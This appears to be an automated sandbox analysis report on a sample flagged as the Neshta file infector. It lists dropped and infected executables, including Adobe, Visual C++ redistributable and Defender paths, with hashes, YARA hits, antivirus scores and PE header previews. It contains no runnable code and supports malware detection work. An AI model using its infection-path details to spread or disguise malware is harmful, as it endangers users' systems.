SHA-256:	4EACD1204E4856AE01D64D58C93E7D45D8CA825C5A5AD1D998576A01ABFFAB8F
SHA-512:	47DE98059B44F7D2C98503FEF3BFADA075C0A25F3480A435B25A505CDB6D63D6969563A5BA0EA2005B6884A93EB3E7D4A293860D75921518D4FC5C33324E197E
Malicious:	true
Yara Hits:	Rule: MAL_Neshta_Generic, Description: Detects Neshta malware, Source: C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\setup.exe, Author: Florian Roth Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\setup.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\setup.exe, Author: ditekSHen Rule: MAL_Neshta_Generic, Description: Detects Neshta malware, Source: C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\setup.exe, Author: Florian Roth Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\setup.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\setup.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 98% Antivirus: Metadefender, Detection: 90%, Browse
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe

Download File

Process:	C:\Users\user\Desktop\wYWdigdSjn.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	340528
Entropy (8bit):	6.5900810039009725
Encrypted:	false
SSDEEP:	6144:k9jZAyHK0TcC+TKfVM7ZoL3czvPOU4MZY7TZoopFAdEm1t:2ZA2TcC5ko8aVoWAdEmT
MD5:	D2EB72B886C0E4516AD92D182472D3BE
SHA1:	760158C1460813FEB54EFF98E4C91D83EFBCB436
SHA-256:	F2A6D42CE2B2A77F3425D7259F0C3DFA0ED725C953D8D562DD0882591D2BA484
SHA-512:	2AF8D00EFA617937A160F2E1EC0B30411736B486835ED1368C07D6A8A3247B236C8E5D9CB7CAB8472A72294C44BDAD8BD9266661D313E12B612D902BE68384A5
Malicious:	true
Yara Hits:	Rule: MAL_Neshta_Generic, Description: Detects Neshta malware, Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe, Author: Florian Roth Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exe

Download File

Process:	C:\Users\user\Desktop\wYWdigdSjn.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	464936
Entropy (8bit):	6.360683839248502
Encrypted:	false
SSDEEP:	6144:k9DQcslnC3znG+xfbMgyGn7LiJdKkAtyKuskePvX2Zp7DmuXYvr6ys/pJYCf:PlnCxjMyn72/KkAtydem3nM6BHYo
MD5:	6A02DFAEE140217151427D7301E61289
SHA1:	793B86D11BD13C12BB8D60E01F36A21A3CE2F728
SHA-256:	7F474C8C7643AB7A5AA9CDB27A93ECB7CA3F23ED8AF916CB7FC5905F572CF732
SHA-512:	A4E21A104CD9C772799AA84632EE821A0B0CF859721F6C3482BC532221DFFFDA8186888BBB9B52391E3E9F472631F3C5320A7DD4976ED49674F8BF322E4A9DA6
Malicious:	true
Yara Hits:	Rule: MAL_Neshta_Generic, Description: Detects Neshta malware, Source: C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exe, Author: Florian Roth Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 100% Antivirus: Metadefender, Detection: 89%, Browse
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exe

Download File

Process:	C:\Users\user\Desktop\wYWdigdSjn.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	219184
Entropy (8bit):	6.602073889407314
Encrypted:	false
SSDEEP:	3072:sr85CyJ2xp+MHsSVSol3cUAYuBwp0yOvbXWTBfgQcVE0dvdCohMc16mNB3L:k9yYxp+M/KvTWTBVcVE5qMcPNt
MD5:	81756C2CBDA117E0CEA5D5EAB58C3AF2
SHA1:	CFE11042FD02E92F92A21DDB08679FC8CAF926DA
SHA-256:	20FA213D2636D0DD8948C97AC3DBABEFBB9A4F943CE43B6F8A76BF62793944B4
SHA-512:	484BB205F234071E34A2BB277214D21BB3E28D23FC73B35F113267C6D67136B4E82DC1AC545E0AC08B74B1FAE23A87D6E2A6863E0226C2B0564FCB0459C0668A
Malicious:	true
Yara Hits:	Rule: MAL_Neshta_Generic, Description: Detects Neshta malware, Source: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exe, Author: Florian Roth Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 100% Antivirus: Metadefender, Detection: 92%, Browse
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\setup.exe

Download File

Process:	C:\Users\user\Desktop\wYWdigdSjn.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	506352
Entropy (8bit):	6.095410299784229
Encrypted:	false
SSDEEP:	6144:k9r5Qw0tneDA/sqhleIc0HftDrkYY1hj63hgDonsogCh6NEpAFH78r:abM3npxYfj63hgD1Zim8r
MD5:	05BDFD8A3128AB14D96818F43EBE9C0E
SHA1:	495CBBD020391E05D11C52AA23BDAE7B89532EB7
SHA-256:	7B945C7E6B8BFBB489F003ECD1D0DCD4803042003DE4646D4206114361A0FBBB
SHA-512:	8D9B9FC407986BD53FE3B56C96B7371CC782B4BAC705253BFB0A2B0B1E6883FDB022F1AC87B8BFD7005291991B6A3DFBACEAB54F5D494E0AF70F0435A0B8B0DA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 100% Antivirus: Metadefender, Detection: 89%, Browse
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Microsoft\Windows Defender\Scans\MpPayloadData\mpengine.exe

Download File

Process:	C:\Users\user\Desktop\wYWdigdSjn.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	193552
Entropy (8bit):	6.404108786421927
Encrypted:	false
SSDEEP:	3072:sr85CxOIFRq+fPkorzr30W3Zqa/TVm3c+ZIVoarXRKKntTKxsN:k9x9FfPkoXLZucR5X8KtmKN
MD5:	50650D11436F6D155BCECEC4F8473A4D
SHA1:	2546A208611ACE7059618EBFE3970ACDC32AED97
SHA-256:	2002476D84D021A8C87A160C584FDF42865D663A417B059F446F124103C8058E
SHA-512:	E7EE2984A2EFDCE714EBC4014C64D865836E719F8006F221A24E2C3BC45B10832AE1E4DD546BCDE092126C138579515819D3D04C153733C21BE809B6DB28ACE4
Malicious:	true
Yara Hits:	Rule: MAL_Neshta_Generic, Description: Detects Neshta malware, Source: C:\ProgramData\Microsoft\Windows Defender\Scans\MpPayloadData\mpengine.exe, Author: Florian Roth Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\ProgramData\Microsoft\Windows Defender\Scans\MpPayloadData\mpengine.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\ProgramData\Microsoft\Windows Defender\Scans\MpPayloadData\mpengine.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Package Cache\{050d4fc8-5d48-4b8f-8972-47c82c46020f}\vcredist_x64.exe

Download File

Process:	C:\Users\user\Desktop\wYWdigdSjn.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	502872
Entropy (8bit):	6.915395359459785
Encrypted:	false
SSDEEP:	12288:9B+pwPprnVmLmDsC+FU+ZOSzt9tzZcymOz:XDFncLmKDZOSzXFZcLOz
MD5:	15E2E55ED826096410F0FFF7BA3B073E
SHA1:	404B2DFB6E813F40D77CFE38205455CC85789B03
SHA-256:	799EDE10AD0FDC613FBA39710FC6772F04EEEF22C6934E72E61C0B185306DE13
SHA-512:	F21B6FC549706ECF6F09233BDE35EFBDB4B60B1B37472B7F3A112BCD288ADA905F2F03F7F223C26B2D82DE59D8784649A69CBF6FEB5AB2769A35D861935F713E
Malicious:	true
Yara Hits:	Rule: MAL_Neshta_Generic, Description: Detects Neshta malware, Source: C:\ProgramData\Package Cache\{050d4fc8-5d48-4b8f-8972-47c82c46020f}\vcredist_x64.exe, Author: Florian Roth Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\ProgramData\Package Cache\{050d4fc8-5d48-4b8f-8972-47c82c46020f}\vcredist_x64.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\ProgramData\Package Cache\{050d4fc8-5d48-4b8f-8972-47c82c46020f}\vcredist_x64.exe, Author: ditekSHen Rule: MAL_Neshta_Generic, Description: Detects Neshta malware, Source: C:\ProgramData\Package Cache\{050d4fc8-5d48-4b8f-8972-47c82c46020f}\vcredist_x64.exe, Author: Florian Roth Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\ProgramData\Package Cache\{050d4fc8-5d48-4b8f-8972-47c82c46020f}\vcredist_x64.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\ProgramData\Package Cache\{050d4fc8-5d48-4b8f-8972-47c82c46020f}\vcredist_x64.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\vcredist_x86.exe

Download File

Process:	C:\Users\user\Desktop\wYWdigdSjn.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	497192
Entropy (8bit):	7.03168443786024
Encrypted:	false
SSDEEP:	12288:/0IursYCYQeSnyZJiqlEbXSb9NtoqOFBqkYHkZH:8MYenGJiKEbXWtpOLl5
MD5:	86749CD13537A694795BE5D87EF7106D
SHA1:	538030845680A8BE8219618DAEE29E368DC1E06C
SHA-256:	8C35DCC975A5C7C687686A3970306452476D17A89787BC5BD3BF21B9DE0D36A5
SHA-512:	7B6AE20515FB6B13701DF422CBB0844D26C8A98087B2758427781F0BF11EB9EC5DA029096E42960BF99DDD3D4F817DB6E29AC172039110DF6EA92547D331DB4C
Malicious:	true
Yara Hits:	Rule: MAL_Neshta_Generic, Description: Detects Neshta malware, Source: C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\vcredist_x86.exe, Author: Florian Roth Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\vcredist_x86.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\vcredist_x86.exe, Author: ditekSHen Rule: MAL_Neshta_Generic, Description: Detects Neshta malware, Source: C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\vcredist_x86.exe, Author: Florian Roth Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\vcredist_x86.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\vcredist_x86.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 98%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Package Cache\{49697869-be8e-427d-81a0-c334d1d14950}\VC_redist.x86.exe

Download File

Process:	C:\Users\user\Desktop\wYWdigdSjn.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	696088
Entropy (8bit):	7.197257231663585
Encrypted:	false
SSDEEP:	12288:kskY7gjcjhVIEhqgM7bWvcsi6aVSvIyZzJ9ztLz5/YTjnMwJ:ksZgjS1hqgSC/izafZzJZhz5QPMK
MD5:	7DC920CF276522CB3A6A63A6973F9565
SHA1:	DF629F79DCDC55D6F8283B95AE6FAE04D7B10C4C
SHA-256:	A011D9599A75FF96D7E094CD7BB3C779C42321E8F55D1BE66899CD30657AE574
SHA-512:	FC4489615F84B22EA20426F6351D814C31FC914812E9C8B09FE7E5AA3DB8E279F7BA9F15C10945A3FD72E0DE735C2D6BC3B9AEC0EC44FF8317BBC51FEAA736A8
Malicious:	true
Yara Hits:	Rule: MAL_Neshta_Generic, Description: Detects Neshta malware, Source: C:\ProgramData\Package Cache\{49697869-be8e-427d-81a0-c334d1d14950}\VC_redist.x86.exe, Author: Florian Roth Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\ProgramData\Package Cache\{49697869-be8e-427d-81a0-c334d1d14950}\VC_redist.x86.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\ProgramData\Package Cache\{49697869-be8e-427d-81a0-c334d1d14950}\VC_redist.x86.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Package Cache\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\vcredist_x64.exe

Download File

Process:	C:\Users\user\Desktop\wYWdigdSjn.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	497048
Entropy (8bit):	7.031762109482844
Encrypted:	false
SSDEEP:	12288:/0IursYCYQeSnyZJiqlEbXSb9NtCGOF2O27MVz+ZH:8MYenGJiKEbXWtfOkU+
MD5:	87F15006AEA3B4433E226882A56F188D
SHA1:	E3AD6BEB8229AF62B0824151DBF546C0506D4F65
SHA-256:	8D0045C74270281C705009D49441167C8A51AC70B720F84FF941B39FAD220919
SHA-512:	B01A8AF6DC836044D2ADC6828654FA7A187C3F7FFE2A4DB4C73021BE6D121F9C1C47B1643513C3F25C0E1B5123B8CE2DC78B2CA8CE638A09C2171F158762C7C1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 98%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Package Cache\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}\VC_redist.x64.exe

Download File

Process:	C:\Users\user\Desktop\wYWdigdSjn.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	696096
Entropy (8bit):	7.197890425464557
Encrypted:	false
SSDEEP:	12288:kskY7gjcjhVIEhqgM7bWvcsi6aVU7Iys6W1wXK4Qzh+jMlWCEhWnMwJ:ksZgjS1hqgSC/izof81wiz0wygMK
MD5:	FA982A173F9D3628C2B3FF62BD8A2F87
SHA1:	2CFB18D542AE6B6CF5A1223F1A77DEFD9B91FA56
SHA-256:	BC5D80D05A1BD474CB5160782765BF973BA34EA25DEDF7E96DFAF932B9935032
SHA-512:	95CA9066A2E5272494B8E234220B6028C14892679023CA70801475C38D341032363589375EC6FFC4CDE3416DD88D0E3082D315F7BEDDCCDF014122DDD0A90644
Malicious:	true
Yara Hits:	Rule: MAL_Neshta_Generic, Description: Detects Neshta malware, Source: C:\ProgramData\Package Cache\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}\VC_redist.x64.exe, Author: Florian Roth Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\ProgramData\Package Cache\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}\VC_redist.x64.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\ProgramData\Package Cache\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}\VC_redist.x64.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 98%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Package Cache\{f65db027-aff3-4070-886a-0d87064aabb1}\vcredist_x86.exe

Download File

Process:	C:\Users\user\Desktop\wYWdigdSjn.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	502840
Entropy (8bit):	6.916526410604879
Encrypted:	false
SSDEEP:	12288:9B+pwPprnVmLmDsC+FU+ZOSzDBtzY7UWfR2hymOz:XDFncLmKDZOSz1FO5iLOz
MD5:	4B27661E864382B71FFD26D67125A9D0
SHA1:	9C81DE53C4467C81FF239A4B692B1C6376FD8B71
SHA-256:	78E085875002746CBC6F4AF5DC7D15157409FE94B23D89FC1BD58E9E1242302B
SHA-512:	EB158EE00684AE85A83EBA789A7F5AFCE7DEF52BA58B37BB7621F41129DEF0281C6EC6551F3A84B4FE516B7B88A8E220EBEEDAF80617C218CA44735EB028A093
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 96%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe

Download File

Process:	C:\Users\user\Desktop\wYWdigdSjn.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1107968
Entropy (8bit):	7.998152820755428
Encrypted:	true
SSDEEP:	24576:zmWAbXH84DRnKCwyElWCAMmKix1x1IDStOX2cBZ8umx7QgbcxWsG2:zmXL8uokzK6DxcD8uqzbcxWX
MD5:	78C42D6817AF1AD96CABDF6FF2F7F3DA
SHA1:	ABEADCEE8D9F00C6CCDB0F9D33EDD1006A079384
SHA-256:	38B2C7A1AF454D382927F81543D86055886BC028634575050367D052EFD26434
SHA-512:	76A3B3E6AE0EA0F17661314FE391EC8B9B580A7ECFEE0EBE2D830DB3843D5D929D6BF3ADB8CB03F6B87212A607CE001700EA3DC305828C817FF017DD3B766811
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-/..C\|..C\|..C\|...\|..C\|...\|..C\|...\|..C\|...\|..C\|...\|..C\|...\|..C\|...\|..C\|..B\|.C\|..\|..C\|..\|..C\|...\|..C\|..\|..C\|Rich..C\|................PE..L....o"c..............................)...........@...........................)...........@...................................)......P'.......................).........8............................................................................text...............................`....rdata... ..........................@....data....P....&..*..................@....rsrc........P'.....................@....reloc...P...`'.....................@....ask..... ....).....................`....adata........).....................@...................................................................................................................................................................................................................

C:\Users\user\Desktop\d

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x07799e4d, page size 8589967360, DirtyShutdown, Windows version 6.2
Category:	dropped
Size (bytes):	26738688
Entropy (8bit):	0.9579229297994214
Encrypted:	false
SSDEEP:	24576:aPwqTaxxujQxeJ2lLdSAZfV+yVHgSFDb7uBi:MQxeJCdT1
MD5:	BE765B7EEDE5BBC7DF8E131947580695
SHA1:	045190818E5675BA9221BB44EC3262151B3DC6F0
SHA-256:	192D3C8A89CE45DCABF0A32158E757D5E4E6CF10AA61F6063DD7D5DCFD6E724E
SHA-512:	17CBDABD7AD6EE6224F46D42B1B90D406B18209A2E8B4869DB57574DADCD5A1E6CEFBCEC5B90B88F11F4503DA7BCD0D96CD51A9AE42226385AC4FDCDFAB9A2D5
Malicious:	false
Preview:	.y.M... .......N<......F.Ck(#...z..............................2#...z...$...z......................................................................................................................................c............#......<...........(#...z.......................................................................................... ....................................................................................................................................................................................................................................................._W.$...z#..................0Qq.$...z#.........................d#..............................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\d.INTEG.RAW

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	modified
Size (bytes):	17791
Entropy (8bit):	5.303732922867244
Encrypted:	false
SSDEEP:	96:PmdpeHS2CDj6McLcFscOcwmckdScTc+SdvcpcLcyclhc4ncZZ51fYHeiNVgayKdC:JSyqd5c+Sdm3Z8PKubLr3v+w00Dz
MD5:	9383A9DACFB18BE439350E96B448D8AD
SHA1:	A8AC713A61D989BB2A1BD6A60BE753094C850275
SHA-256:	0307B8428507BB68902CADFE799EFE0A1625FFE61B4949CCFCB1A4FB77251F15
SHA-512:	57F172CD0D7F40B3E3E5BB6A103836C0FB3C39518A5D1188A1436E483C083ED0ECBF2F1BA71895E64420C8733646BE9254266ECBB11745D209F93407881FEBAB
Malicious:	false
Preview:	***** Repair of database 'd' started [ESENT version 06.02.9200.0000, (ESENT[6.2.9200.0] RETAIL RTM MBCS)]....search for 'ERROR:' to find errors..search for 'WARNING:' to find warnings..checking database header..ERROR: database was not shutdown cleanly (Dirty Shutdown)..database file "d" is 26738688 bytes..database file "d" is 26738688 bytes on disk...Creating 16 threads..checking SystemRoot..SystemRoot (OE)..SystemRoot (AE)..ERROR: page 3: dbtime is larger than database dbtime (0x3bf9, 0x3b74)..checking system tables..MSysObjects ..MSysObjectsShadow ..MSysObjects:.5556:.ERROR: page 14: dbtime is larger than database dbtime (0x3c45, 0x3b74)..MSysObjects:.5556:.ERROR: page 19: dbtime is larger than database dbtime (0x3c32, 0x3b74)..MSysObjects Name..MSysObjects RootObjects..MSysObjectsShadow:.5556:.ERROR: page 28: dbtime is larger than database dbtime (0x3c47, 0x3b74)..MSysObjectsShadow:.5556:.ERROR: page 423: dbtime is larger than database dbtime (0x3c34, 0x3b74)..MSysObjects:.5556:.ERR

C:\Users\user\Desktop\d.jfm

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.14652648904358667
Encrypted:	false
SSDEEP:	3:iFhNcuWdHVdHUKov1bW3BllvtTWblltlf/GlVlkRl0nbnl9Pzwl/KvvMwCWvl/7R:ijyuY1pUKoNbINl6lZqVGIPwwcue
MD5:	1FD78B49FF97882A5AD17EBD198D3903
SHA1:	F17F185846DB15FF41357962BC41496323F1D070
SHA-256:	191184FD17E4C2B11244A6F2F98D34DCCE1B08E6DE6ABD5202A44C22C71D49DE
SHA-512:	C510EBED7827E9B8AC766014EDA0050A0418BAA9D58243D0CBDD6B506C5A9FD432ED6C0BE4C2E3D571983F633CEC7942D57F61CA36857A47CD69D53125E9534B
Malicious:	false
Preview:	.......................................'"...zE./#...ze.2#...z..........2#...z..2#...z....2./#...ze...................b.2#...z..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\tmp.edb

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xc29893fb, page size 32768, JustCreated, Windows version 0.0
Category:	dropped
Size (bytes):	3899392
Entropy (8bit):	0.026578401961074905
Encrypted:	false
SSDEEP:	48:Um+rm+6dCrHUpCCCCCstUMMMMMMMM7CCC3CCC:Uv2ipMMMMMMMM
MD5:	1D87FB2CBA3944AFB62CD535A03A76D9
SHA1:	2DDA21668608E218FEEAFB1EA2218225134F4F77
SHA-256:	050CAC2C62813E6C5256F0654E73D23BABB48EC5C3E9590148E6605B2A288A8D
